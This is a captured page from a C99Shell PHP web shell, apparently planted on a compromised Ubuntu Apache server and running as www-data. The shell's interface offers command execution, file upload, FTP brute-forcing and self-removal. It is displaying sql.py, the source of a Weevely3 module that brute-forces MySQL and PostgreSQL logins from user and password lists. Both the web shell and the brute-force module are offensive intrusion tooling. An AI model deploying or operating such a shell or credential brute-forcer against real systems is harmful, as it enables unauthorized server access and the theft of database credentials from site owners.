!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/pmb/weevely3/src/weevely/modules/bruteforce/   drwxr-xr-x
Free 13.04 GB of 57.97 GB (22.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     sql.py (2.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import os

from weevely.core import messages
from weevely.core.loggers import log
from weevely.core.module import Module
from weevely.core.vectors import PhpFile


class Sql(Module):
    """Bruteforce SQL database."""

    def init(self):
        self.register_info({"author": ["Emilio Pinna"], "license": "GPLv3"})

        self.register_vectors(
            [
                PhpFile(
                    payload_path=os.path.join(self.folder, "mysql.tpl"),
                    name="mysql",
                ),
                PhpFile(
                    payload_path=os.path.join(self.folder, "pgsql.tpl"),
                    name="pgsql",
                ),
            ]
        )

        self.register_arguments(
            [
                {"name": "service", "help": "Service to bruteforce", "choices": self.vectors.get_names()},
                {"name": "-hostname", "help": "Hostname", "default": "localhost"},
                {"name": "-users", "help": "Users", "nargs": "*", "default": []},
                {"name": "-pwds", "help": "Passwords", "nargs": "*", "default": []},
                {"name": "-fusers", "help": "Local file path containing users list"},
                {"name": "-fpwds", "help": "Local file path containing password list"},
            ]
        )

    def run(self, **kwargs):
        self.args["users"] = self.args.get("users", [])
        if self.args.get("fusers"):
            try:
                self.args["users"] += open(self.args["fusers"]).read().split(os.linesep)
            except Exception as e:
                log.warning(messages.generic.error_loading_file_s_s % (self.args["fusers"], str(e)))
                return None

        self.args["pwds"] = self.args.get("pwds", [])
        if self.args.get("fpwds"):
            try:
                self.args["pwds"] += open(self.args["fpwds"]).read().split(os.linesep)
            except Exception as e:
                log.warning(messages.generic.error_loading_file_s_s % (self.args["fpwds"], str(e)))
                return None

        if not self.args["users"] or not self.args["pwds"]:
            log.error("Error, no users or passwords loaded")
            return None

        return self.vectors.get_result(name=self.args["service"], format_args=self.args)

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0168 ]--